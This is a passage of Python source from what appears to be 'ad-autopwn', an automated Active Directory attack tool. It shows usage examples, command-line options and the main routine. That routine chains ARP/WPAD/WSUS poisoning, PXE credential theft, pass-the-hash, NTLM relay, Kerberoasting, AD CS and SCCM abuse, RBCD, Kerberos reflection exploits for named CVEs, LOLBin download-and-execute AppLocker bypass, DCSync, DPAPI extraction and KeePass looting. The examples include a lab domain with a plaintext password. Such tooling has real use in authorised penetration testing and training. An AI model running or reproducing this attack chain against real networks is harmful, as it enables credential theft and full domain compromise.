%(prog)s -u jsmith -p 'P@ss123'
# Pass-the-hash
%(prog)s -u admin -H aad3b435b51404ee
# ARP spoof only (zero-auth)
%(prog)s --phase arp -t 10.0.0.0/24
# Specific target + interface
%(prog)s -u jsmith -p 'P@ss' -T 10.0.0.100 -i tun0
# Dry run
%(prog)s -u jsmith -p 'P@ss' --dry-run
# WPAD poisoning (zero-auth)
%(prog)s --phase wpad
# WSUS relay + injection (AppLocker bypass)
%(prog)s --phase wsus --wsus-server 10.0.0.50 --applocker
# PXE boot credential theft (zero-auth)
%(prog)s --phase pxe
# Passive sniff only (recon)
%(prog)s --phase sniff --sniff-duration 60
# AppLocker bypass via LOLBin on specific target
%(prog)s -u jsmith -p 'P@ss' -T 10.0.0.100 --applocker --lolbin mshta --custom-cmd "whoami"
# Kerberos AP-REQ reflection via Unicode-SPN (Synacktiv 2026, bypasses CVE-2025-33073 patch)
%(prog)s -u jsmith -p 'P@ss' -T srv01.corp.local --phase kerb-reflect
# CVE-2026-24294 LPE — generates foothold script + relay listener
%(prog)s --phase reflect-tcpport --reflect-host 10.0.0.50 --reflect-port 12345
# CVE-2026-26128 LPE — Kerberos loopback via Unicode SPN
%(prog)s -u jsmith -p 'P@ss' --phase reflect-loopback --reflect-host srv01.corp.local
# Full chain with Unicode-SPN fallback when CVE-2025-33073 is patched
%(prog)s -u jsmith -p 'P@ss' --unicode-spn
# BloodHound collection + automatic high-value analysis
%(prog)s -u sunfyre -p 'BSno5DP4tjJ4jIu8is3B' -d dracarys.lab \\
--dc-fqdn BALERION.dracarys.lab --dc-ip 192.168.56.10 --phase bloodhound
# KCD protocol-transition bypass: rewrite TGS sname (tgssub-style)
%(prog)s --phase tgs-rewrite \\
--in-ccache /tmp/admin@HTTP_arrax.dracarys.lab.ccache \\
--alt-spn HTTP/vhagar.dracarys.lab
# Dollar Ticket — TGT for 'root' via auto-created root$ machine acct
# (target a domain-joined Linux box for GSSAPI SSH login as root)
%(prog)s -u sunfyre -p 'BSno5DP4tjJ4jIu8is3B' -d dracarys.lab \\
--phase dollar-ticket --target-user root
# RBCD+KCD chain — full ghost-SPN + RBCD + altservice rewrite, in one shot
# (need WriteSPN on the target machine — check BloodHound first)
%(prog)s -u viserion -p '...' -d dracarys.lab \\
--phase rbcd-kcd -T VHAGAR$ --alt-spn HTTP/vhagar.dracarys.lab
"""),
)
creds = p.add_argument_group("Credentials (optional for zero-auth ARP mode)")
creds.add_argument("-u", "--user", default="", help="Domain username")
creds.add_argument("-p", "--password", default="", help="Domain password")
creds.add_argument("-H", "--hash", default="", dest="nthash", help="NT hash (pass-the-hash)")
net = p.add_argument_group("Network (auto-detected if omitted)")
net.add_argument("-d", "--domain", default="", help="Target domain")
net.add_argument("-a", "--attacker-ip", default="", help="Attacker IP")
net.add_argument("-i", "--iface", default="", help="Network interface")
net.add_argument("-t", "--target-net", default="", help="Target subnet CIDR")
net.add_argument("-T", "--target", default="", dest="specific_target", help="Specific target IP")
net.add_argument("--dc-ip", default="", help="Domain controller IP")
net.add_argument("--dc-fqdn", default="", help="Domain controller FQDN")
net.add_argument("--gateway", default="", help="Gateway IP for ARP spoof")
attack = p.add_argument_group("Attack options")
attack.add_argument("-m", "--method", default="", help="Coercion method")
attack.add_argument("--custom-cmd", default="", help="Custom command on target")
attack.add_argument("-s", "--socks", action="store_true", help="SOCKS proxy mode")
attack.add_argument("--smb-signing", action="store_true", help="Bypass SMB signing (LDAPS)")
attack.add_argument("--no-dcsync", action="store_true", help="Skip DC compromise")
attack.add_argument("--no-cleanup", action="store_true", help="Keep DNS records")
attack.add_argument("--no-arp", action="store_true", help="Disable ARP spoof fallback")
attack.add_argument("--batch", action="store_true", help="Exploit all relay targets")
attack.add_argument("--poison-duration", type=int, default=120, help="ARP spoof timeout (sec)")
attack.add_argument("--exclude", default="", help="File with IPs to skip")
wpad_wsus = p.add_argument_group("WPAD / WSUS attacks")
wpad_wsus.add_argument("--wsus-server", default="", help="WSUS server IP (auto-detected if omitted)")
wpad_wsus.add_argument("--wsus-port", type=int, default=0, help="WSUS port (default: 8530 HTTP, 8531 HTTPS)")
wpad_wsus.add_argument("--wsus-https", action="store_true", help="WSUS uses HTTPS (port 8531)")
wpad_wsus.add_argument("--wsus-certfile", default="", help="TLS cert for WSUS HTTPS interception")
wpad_wsus.add_argument("--wsus-keyfile", default="", help="TLS key for WSUS HTTPS interception")
wpad_wsus.add_argument("--no-wpad", action="store_true", help="Skip WPAD poisoning in full auto")
wpad_wsus.add_argument("--no-wsus", action="store_true", help="Skip WSUS attacks in full auto")
wpad_wsus.add_argument("--sniff-duration", type=int, default=30,
help="Passive sniff duration in seconds (default: 30)")
applocker_grp = p.add_argument_group("AppLocker bypass")
applocker_grp.add_argument("--applocker", action="store_true",
help="Enable AppLocker bypass: use LOLBins, trusted paths, WSUS signed delivery")
applocker_grp.add_argument("--lolbin", default="", choices=list(LOLBINS.keys()),
help="Specific LOLBin to use (default: auto-select)")
applocker_grp.add_argument("--payload-url", default="",
help="URL of payload for LOLBin download-and-execute")
adv = p.add_argument_group("Advanced attacks")
adv.add_argument("--no-adcs", action="store_true", help="Skip AD CS exploitation")
adv.add_argument("--ca-name", default="", help="Certificate Authority name (auto-detected)")
adv.add_argument("--esc-victim", default="",
help="ESC9/ESC10 UPN-swap victim as USER:PASS (account you have "
"WriteProperty on); enables CVE-2022-26923 bypass")
adv.add_argument("--no-roast", action="store_true", help="Skip Kerberoasting / AS-REP Roasting")
adv.add_argument("--no-ntlm-theft", action="store_true",
help="Skip NTLM theft file drops on writable shares")
adv.add_argument("--no-sccm", action="store_true", help="Skip SCCM NAA credential theft")
adv.add_argument("--sccm-server", default="", help="SCCM Management Point (auto-detected)")
adv.add_argument("--no-shadow-creds", action="store_true",
help="Skip shadow credentials (use RBCD instead)")
adv.add_argument("--no-rbcd", action="store_true", help="Skip RBCD delegation abuse")
adv.add_argument("--machine-account", default="", help="Pre-created machine account for RBCD")
adv.add_argument("--machine-password", default="", help="Machine account password for RBCD")
adv.add_argument("--alt-spn", default="",
help="Alternate SPN (service/host) — passes -altservice to "
"impacket-getST and rewrites the issued TGS sname "
"(tgssub-style KCD protocol-transition bypass)")
adv.add_argument("--in-ccache", default="",
help="Input ccache for --phase tgs-rewrite")
adv.add_argument("--target-user", default="",
help="Target Linux user for --phase dollar-ticket "
"(e.g. 'root', 'sqladmin') — opt-in only, not in default chain")
adv.add_argument("--no-dpapi", action="store_true",
help="Skip DPAPI backup key extraction after DCSync")
adv.add_argument("--no-bloodhound", action="store_true",
help="Skip BloodHound -c All collection + automatic analysis")
adv.add_argument("--no-bh-auto-action", action="store_true",
help="Disable opportunistic chains from BloodHound actionable edges "
"(WriteSPN→ghost-SPN, AddKeyCredentialLink→shadow-creds, "
"WriteAccountRestrictions→RBCD)")
adv.add_argument("--no-loot", action="store_true",
help="Skip loot phase (process-cmdline harvest + KeePass discovery/crack)")
disc = p.add_argument_group("Credential Discovery (zero-auth foothold)")
disc.add_argument("--no-discover", action="store_true",
help="Skip pre-cut credential discovery phase")
disc.add_argument("--users-file", default="",
help="Path to candidate username list (default: SecLists)")
disc.add_argument("--spray-password", default="",
help="Single password to spray across discovered users (lockout-aware: one attempt per user)")
refl = p.add_argument_group("Authentication-reflection bypass (Synacktiv 2026)")
refl.add_argument("--unicode-spn", action="store_true",
help="Try Kerberos AP-REQ reflection via Unicode-SPN collision when NTLM methods fail")
refl.add_argument("--no-ghost-spn", action="store_true",
help="Skip CVE-2025-58726 ghost-SPN upgrade after a successful relay")
refl.add_argument("--no-loopback-check", action="store_true",
help="Skip Win11 24H2 / Server 2025 fingerprint during enum (LPE candidates)")
refl.add_argument("--reflect-host", default="",
help="Foothold FQDN/IP for --phase reflect-tcpport / reflect-loopback")
refl.add_argument("--reflect-port", type=int, default=12345,
help="High TCP port for SMB-on-tcpport (CVE-2026-24294, default: 12345)")
run_opts = p.add_argument_group("Execution")
run_opts.add_argument("--phase", default="full",
choices=["full", "enum", "exploit", "dcsync", "arp", "wpad", "wsus",
"pxe", "sniff", "adcs", "roast", "sccm", "enrich", "discover",
"bloodhound", "tgs-rewrite", "loot",
"dollar-ticket", "rbcd-kcd",
"reflect-tcpport", "reflect-loopback", "kerb-reflect"],
help="Run a single phase")
run_opts.add_argument("--dry-run", action="store_true", help="Print commands only")
run_opts.add_argument("-v", "--verbose", action="store_true", help="Debug output")
run_opts.add_argument("-o", "--output", default="", help="Output directory")
args = p.parse_args()
cfg = Config(
username=args.user,
password=args.password,
nthash=args.nthash,
domain=args.domain,
attacker_ip=args.attacker_ip,
iface=args.iface,
gateway=args.gateway,
target_net=args.target_net,
specific_target=args.specific_target,
dc_ip=args.dc_ip,
dc_fqdn=args.dc_fqdn,
method=args.method,
custom_cmd=args.custom_cmd,
use_socks=args.socks,
smb_signing=args.smb_signing,
no_dcsync=args.no_dcsync,
no_cleanup=args.no_cleanup,
no_arp=args.no_arp,
batch=args.batch,
poison_duration=args.poison_duration,
wsus_server=args.wsus_server,
wsus_port=args.wsus_port,
wsus_https=args.wsus_https,
wsus_certfile=args.wsus_certfile,
wsus_keyfile=args.wsus_keyfile,
no_wpad=args.no_wpad,
no_wsus=args.no_wsus,
sniff_duration=args.sniff_duration,
applocker=args.applocker,
lolbin=args.lolbin,
payload_url=args.payload_url,
no_adcs=args.no_adcs,
ca_name=args.ca_name,
esc_victim_user=(args.esc_victim.split(":", 1)[0] if args.esc_victim else ""),
esc_victim_password=(args.esc_victim.split(":", 1)[1] if ":" in args.esc_victim else ""),
no_roast=args.no_roast,
no_ntlm_theft=args.no_ntlm_theft,
no_sccm=args.no_sccm,
sccm_server=args.sccm_server,
no_shadow_creds=args.no_shadow_creds,
no_rbcd=args.no_rbcd,
machine_account=args.machine_account,
machine_password=args.machine_password,
alt_spn=args.alt_spn,
in_ccache=args.in_ccache,
target_user=args.target_user,
no_dpapi=args.no_dpapi,
no_bloodhound=args.no_bloodhound,
no_bh_auto_action=args.no_bh_auto_action,
no_loot=args.no_loot,
no_discover=args.no_discover,
users_file=args.users_file,
spray_password=args.spray_password,
unicode_spn=args.unicode_spn,
no_ghost_spn=args.no_ghost_spn,
no_loopback_check=args.no_loopback_check,
reflect_host=args.reflect_host,
reflect_port=args.reflect_port,
phase=args.phase,
dry_run=args.dry_run,
verbose=args.verbose,
)
if args.output:
cfg.work_dir = Path(args.output)
else:
cfg.work_dir = Path(f"./ad-autopwn-{datetime.now():%Y%m%d-%H%M%S}")
return cfg
def main():
cfg = parse_args()
banner()
if cfg.verbose:
_console.setLevel(logging.DEBUG)
if cfg.dry_run:
log.warning("DRY RUN MODE — commands will be printed but not executed")
print()
# Check root for phases that need it
if os.geteuid() != 0 and cfg.phase in ("full", "arp", "wpad", "wsus", "sniff") and not cfg.dry_run:
log.error("Root required for network attacks (ARP spoof, packet capture, iptables)")
log.error("Run with: sudo ad-autopwn " + " ".join(sys.argv[1:]))
sys.exit(1)
elif os.geteuid() != 0 and not cfg.dry_run:
log.warning("Not running as root — network attacks (sniff, ARP, WPAD, WSUS) will be skipped")
# Setup
if not check_prerequisites(cfg):
sys.exit(1)
# Auto-discover network
discovery = AutoDiscovery(cfg)
discovery.run_all()
# Create work directory + logging
cfg.work_dir.mkdir(parents=True, exist_ok=True)
setup_file_logging(cfg.work_dir)
log.info(f"📁 Output directory: {cfg.work_dir}")
# Save config
config_file = cfg.work_dir / "config.txt"
config_file.write_text(
f"# ad-autopwn.py v{VERSION}\n"
f"# Run: {datetime.now()}\n"
f"# Command: {' '.join(sys.argv)}\n\n"
f"Domain: {cfg.domain}\n"
f"User: {cfg.username}\n"
f"Auth: {'NT hash' if cfg.nthash else 'password' if cfg.password else 'none (ARP)'}\n"
f"Attacker: {cfg.attacker_ip} ({cfg.iface})\n"
f"Gateway: {cfg.gateway}\n"
f"DC IP: {cfg.dc_ip}\n"
f"DC FQDN: {cfg.dc_fqdn}\n"
f"Target net: {cfg.target_net or 'N/A'}\n"
f"Target: {cfg.specific_target or 'auto'}\n"
f"Phase: {cfg.phase}\n"
)
# Signal handler for cleanup
def handle_signal(sig, frame):
print(f"\n{C.YELLOW}⚠️ Interrupted — cleaning up...{C.NC}")
cfg.cleanup()
sys.exit(130)
signal.signal(signal.SIGINT, handle_signal)
signal.signal(signal.SIGTERM, handle_signal)
try:
# ---- No creds? Full auto: ARP/WPAD/WSUS → crack → exploit → DCSync ----
# ---- Passive sniff only ----
if cfg.phase == "sniff":
passive_sniff(cfg, duration=cfg.sniff_duration)
print_summary(cfg)
return
# ---- No creds? Full auto: ARP/WPAD/WSUS → crack → exploit → DCSync ----
if not cfg.has_creds and cfg.phase in ("full", "arp", "wpad", "wsus", "pxe"):
if cfg.phase == "arp":
run_arp_capture(cfg)
elif cfg.phase == "wpad":
run_wpad_attack(cfg)
extract_hashes(cfg)
try_crack_hashes(cfg)
elif cfg.phase == "wsus":
if run_wsus_relay(cfg):
extract_hashes(cfg)
try_crack_hashes(cfg)
if cfg.wsus_server or detect_wsus_server(cfg):
run_wsus_inject(cfg)
elif cfg.phase == "pxe":
run_pxe_attack(cfg)
else:
run_full_auto(cfg)
cleanup_dns_records(cfg)
print_summary(cfg)
return
# ---- Authenticated attack phases ----
match cfg.phase:
case "enum":
enumerate_targets(cfg)
case "exploit":
if cfg.specific_target:
exploit_target(cfg.specific_target, cfg)
else:
relay_targets, _ = enumerate_targets(cfg)
if cfg.batch:
run_batch(relay_targets, cfg)
elif relay_targets:
ok(f"Auto-selected target: {relay_targets[0]}")
exploit_target(relay_targets[0], cfg)
case "dcsync":
if not cfg.specific_target:
log.error("--phase dcsync requires --target")
sys.exit(1)
dcsync_attack(cfg.specific_target, cfg)
case "arp":
run_arp_capture(cfg)
case "wpad":
run_wpad_attack(cfg)
extract_hashes(cfg)
try_crack_hashes(cfg)
case "wsus":
if run_wsus_relay(cfg):
extract_hashes(cfg)
try_crack_hashes(cfg)
if cfg.wsus_server or detect_wsus_server(cfg):
run_wsus_inject(cfg)
case "pxe":
run_pxe_attack(cfg)
case "adcs":
if not cfg.has_creds:
log.error("--phase adcs requires credentials (-u/-p)")
sys.exit(1)
run_adcs_attack(cfg)
case "roast":
if not cfg.has_creds:
log.error("--phase roast requires credentials (-u/-p)")
sys.exit(1)
run_roast_attack(cfg)
case "sccm":
if not cfg.has_creds:
log.error("--phase sccm requires credentials (-u/-p)")
sys.exit(1)
run_sccm_attack(cfg)
case "enrich":
if not cfg.has_creds:
log.error("--phase enrich requires credentials (-u/-p)")
sys.exit(1)
run_nxc_enrichment(cfg)
case "bloodhound":
if not cfg.has_creds:
log.error("--phase bloodhound requires credentials (-u/-p)")
sys.exit(1)
run_bloodhound_collect(cfg)
case "tgs-rewrite":
run_tgs_rewrite_phase(cfg)
case "loot":
if not cfg.has_creds:
log.error("--phase loot requires credentials (-u/-p)")
sys.exit(1)
run_loot(cfg)
case "dollar-ticket":
if not cfg.has_creds:
log.error("--phase dollar-ticket requires credentials (-u/-p)")
sys.exit(1)
run_dollar_ticket(cfg)
case "rbcd-kcd":
if not cfg.has_creds:
log.error("--phase rbcd-kcd requires credentials (-u/-p)")
sys.exit(1)
run_rbcd_kcd_chain(cfg)
case "discover":
# Zero-auth: no -u/-p needed, but cfg.dc_ip + cfg.domain
# must be auto-discoverable from the network or supplied.
if not (cfg.dc_ip and cfg.domain):
log.error("--phase discover needs --dc-ip + -d, "
"or run --phase sniff first to auto-detect")
sys.exit(1)
run_credential_discovery(cfg)
case "reflect-tcpport":
run_reflect_tcpport(cfg)
case "reflect-loopback":
if not cfg.has_creds:
log.error("--phase reflect-loopback needs creds for ADIDNS write")
sys.exit(1)
run_reflect_loopback(cfg)
case "kerb-reflect":
if not cfg.has_creds:
log.error("--phase kerb-reflect needs credentials")
sys.exit(1)
tgt = cfg.specific_target or cfg.dc_fqdn
if not tgt:
log.error("--phase kerb-reflect needs -T <target FQDN>")
sys.exit(1)
run_kerberos_reflection(tgt, cfg)
case "full":
# Post-auth recon: nxc enrichment battery
run_nxc_enrichment(cfg)
# BloodHound graph collection + auto-action chains
# (WriteSPN→ghost-SPN, AddKeyCredentialLink→shadow-creds,
# GenericAll→RBCD). Fires before legacy exploitation so the
# actionable edges have already been walked when we reach
# the relay/coerce phases.
if not cfg.no_bloodhound:
run_bloodhound_collect(cfg)
# Run new authenticated attacks before exploitation
if not cfg.no_roast:
run_roast_attack(cfg)
if not cfg.no_adcs and tool_exists("certipy"):
run_adcs_attack(cfg)
if not cfg.no_sccm:
run_sccm_attack(cfg)
if cfg.specific_target:
if cfg.applocker and cfg.custom_cmd:
cfg.custom_cmd = _build_applocker_cmd(cfg)
exploit_target(cfg.specific_target, cfg)
if not cfg.no_dcsync:
dcsync_attack(cfg.specific_target, cfg)
else:
relay_targets, _ = enumerate_targets(cfg)
best = ""
hv = cfg.work_dir / "high-value-targets.txt"
if hv.exists():
best = _first_line(hv.read_text())
if best:
ok(f"🎯 Auto-selected HIGH VALUE target: {best}")
elif relay_targets:
best = relay_targets[0]
ok(f"Auto-selected target: {best}")
if cfg.batch and relay_targets:
run_batch(relay_targets, cfg)
elif best:
if cfg.applocker and cfg.custom_cmd:
cfg.custom_cmd = _build_applocker_cmd(cfg)
exploit_target(best, cfg)
# WebDAV coercion — try if standard exploit didn't work or no relay targets
if not best or not relay_targets:
webclient_hosts = detect_webclient_hosts(cfg)
for wh in webclient_hosts:
if run_webdav_coercion(wh, cfg):
break
# DHCP coercion — additional relay path
run_dhcp_coercion(cfg)
# GPO abuse — if we have write access to any GPO
run_gpo_abuse(cfg)
# WSUS injection if available (AppLocker bypass)
if not cfg.no_wsus and cfg.wsus_server:
run_wsus_inject(cfg)
if not cfg.no_dcsync and best:
dcsync_attack(best, cfg)
# DPAPI extraction after DCSync
if not cfg.no_dpapi:
run_dpapi_backup(cfg)
# Loot — process cmdlines + KeePass on hosts we landed on
if not cfg.no_loot:
run_loot(cfg)
cleanup_dns_records(cfg)
print_summary(cfg)
finally:
cfg.cleanup()
if __name__ == "__main__":
main()